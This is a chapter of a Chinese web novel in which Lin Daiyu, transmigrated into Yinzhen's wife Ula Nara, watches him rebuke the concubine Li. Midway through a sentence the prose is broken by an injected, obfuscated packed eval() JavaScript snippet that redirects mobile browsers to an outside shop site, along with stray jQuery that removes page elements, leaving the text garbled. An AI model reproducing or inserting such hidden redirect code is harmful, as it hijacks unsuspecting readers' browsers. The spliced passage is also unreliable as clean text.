丫鬟、嬷嬷们纷纷掀开毛毡。

    胤禛冷着脸,缓缓入内。

    众人起身行礼。

    四阿哥坐于福晋的身侧,大刀阔斧。

    李氏从头到尾没再站起,弱弱跪在四阿哥身前:“求爷为妾身做主。”

    胤禛听到了尾声,看了丫鬟手中的匣子一眼,确有裂痕。

    全程乌拉那拉氏只是平静叙述,不曾有一声严厉。

    倒是李氏兴风之余,巧舌如簧。

    “送子观音?”胤禛的声音比福晋的还要冷。

    武氏和齐氏都忍不住交换了一个眼神。

    怪了。

    往常这个时候,四阿哥早就不舍得宠妾李氏跪在冰冷的地上,不问缘由要先扶她起来了。

    今儿倒是直接站到福晋那边了?

    这和李氏预设的完全不同,她显然也有些愣住了。

    胤禛扫过来的眼神,更是寒如冰霜:“李格格是觉得,我已经到了需要这个礼物的地步?”

    他的语气不带半点森然,说得轻巧却立刻让满屋子的女人都站了起来福身。

    四阿哥微微抬起身子,越过榻上的茶几,扶了福晋一把:“你的膝盖还没好,安坐着吧。”

    黛玉坐下了,这才多看了未来的雍正大帝一眼。

    说起来,这还是她魂穿过来后,第一次看见胤禛。

    那日在祠堂外就瞧见他的身姿挺拔如竹,气度不凡。

    再看他的眉目清隽,温润之中自带风骨,清贵逼人,雅而不俗。

    这相貌,莫名正对了她的眼缘,叫人有些移不开眼。

    宝玉那厮自也是有着一副好皮囊,只是内里草包,同胤禛这般出身、品性皆贵重的皇家子弟,自是无一可比之处。

    原身的记忆之中,胤禛不是最为宠幸妾室李氏?

    怎么今日一见,全然不同,倒有些真正“主持公道”的模样?

    难不成是原身自己太为看重丈夫的缘故,哪怕四阿哥只是对李氏好上几分,在乌拉那拉氏的眼中,都成了“独宠”。

    连警幻姐姐都能出错,更别提不认识的陌生人给黛玉硬塞的记忆了。

    李氏回过神,连忙求饶:“爷,妾身绝无此意!爷,请您息怒……都是妾身的错。”

    黛玉低头轻笑。

    主子爷来了,李氏这会儿知道错了。

    “妾身也是一心为福晋着想……不想过程出了这么大的差错,妾身愿意领罚。”

    “只求爷看在小格格还在病中的份上,宽恕妾身一分。”

    胤禛没有接过李氏的求饶,缓了数息,才道:“福晋年纪尚小,让她养着身子是宫中娘娘的慈悲,更是我的意思。”

    他竟破天荒解释乌拉那拉氏如今尚未生养的原因,这无疑是在为妻子站台。

    黛玉更糊涂了,若是真的如此,为何原身还能为了子嗣,把自己给急没了?

    是四阿哥眼下为了维护妻子在扯谎,还是他们夫妻之间,从未就此事,认真沟通过?

    胤禛解释完,看了福晋一眼,这才落到李氏身上,收起手中十八子:“送礼都能如此粗心,照顾小格格的时候当不可如此。”

    “李氏不敬主母,行事失责,禁闭屋中一月,抄经为福晋……和孩子祈福。”

    “都退下吧。”

    李氏不敢再出声,和丫鬟捧着匣子,连忙迅速退下。

    只是出了福晋的濯心院,齐氏到底没能忍住:“李格格,好一出弄巧成拙。真是叫我们开了眼。”

    显然,李氏之前能将乌拉那拉氏逼得跪了祠堂,这是想趁胜追击,最好再叫福晋又落了罚,从此一蹶不振。

    那么这四阿哥的院子从此不就是李氏做主了?

    可惜李氏高估了自己,也错误评估了四阿哥维持后院“平衡”的心。

    宋氏向来是不搭理她们的纷争,快速回了自己的地方。

    李氏横了齐氏一眼,只想同武氏走在一处。

    只是没想到武氏退了半步,没再跟上来。

    显然这是要和李氏划清界限的意思,李氏能不回齐氏,却没忍住骂道:“好你个墙头草……”

    武氏低着头,赔了一声笑。

    李氏终是愤而离去。

    外头妾室们的剩余戏码,黛玉不知。

    待清了场,胤禛才添了几分小心问道:“昨儿的礼,福晋可还满意?”

    那些东西的纹样都是胤禛仔细筛选过的,乌拉那拉氏向来喜欢古朴大气的样式。

    黛玉却以为是宫中的赏,压根没仔细瞧,就直接入了府邸的公库。

    原来是给她一个人的?

    倒是比在贾府时,其他姑娘挑剩下的宫花好上了一个层次。

    黛玉不打算委屈自己:“都是好东西,谢爷的赏赐。”回头就让人搬到自己的小库房。

    断然不能再像从前,连一包燕窝和几两洁粉梅片雪花洋糖都要叫宝钗姐姐照顾她了。

    胤禛侧过脸,瞧见福晋真正欢喜的微笑模样。

    从新婚他第一次见到乌拉那拉氏,心下先是喜于她出众的容貌和优雅的气度。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561630|204563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>汗阿玛果然为他挑选了一位好儿媳。

    只是真正相处起来,乌拉那拉氏性格严肃、不苟言笑。

    就连他们头回同房,全程她都僵硬躺着,一声都不曾出。

    结束后,胤禛心口都有些发闷,如同对着一尊神像,半天得不到回应。

    在见到性子小气、总是撒娇的李氏,胤禛才多了几分耐心,好歹后院有一位真人,而非高高在上的菩萨。

    只是他没想到,这份耐心到了李氏这里,反倒成了她撒谎的资本。

    察觉李氏小产的蹊跷后,胤禛还在等待查询的结果,期间不曾用过一回李氏送来的食盒。

    没想到,李氏今日请安居然开始变本加厉,她在心中已然不敬福晋。

    胤禛这时,更加后悔当日,他不该仓促间应了乌拉那拉氏自请的罚,让她去跪小祠堂。

    此举哪怕只是在自家府邸,不曾传扬,但结果不止折损了四福晋的威望,同样也折损了他自身。

    胤禛抬手,屋中只剩他们二人。

    黛玉瞧着四阿哥沉吟的模样。

    他缓慢转着手中的玉扳指,缓缓道:“福晋,李格格当日小产,你曾说,非你所为。”

    黛玉面色一沉,被罚跪于一府主母而言,堪称奇耻大辱。

    原身心高气傲,一时承受不住,也是有的。

    现在,为何四阿哥又再逼问?

    “爷,还是不肯信我?”

    这话,黛玉是替原身问的。

    同为女子,她当然为无辜的乌拉那拉氏打抱不平。

    而且这对小夫妻到底怎么回事,两个人都凑不出一张完整的嘴?

    之前她在大观园,那是身为孤女,完全无法自己做主,只得来回旁敲侧击,确认对方的心意。

    如今,这二人可是实打实、拜过天地、荣辱与共的夫妻。

    有什么话,不能关起门来说清楚,非得到祠堂隔着门去问对错?

    至亲至疏夫妻。

    还真叫这么一回事。

    到了黛玉手里,就算是演,她也得说个明白,死个通透。

    胤禛这才看向妻子清澈分明的眼。

    第一次,她直视了自己的眼睛,而非谨遵本分,从来低眉顺目,不曾对他打开心扉。

    哪怕争辩,她都是站在“臣属”的身份,不曾顾及他们夫妻之间该有的情分。

    胤禛抿了抿嘴,看向身前。

    他淡淡摇头:“不。”

    “我一直想信,只是福晋……”

    并未给他机会。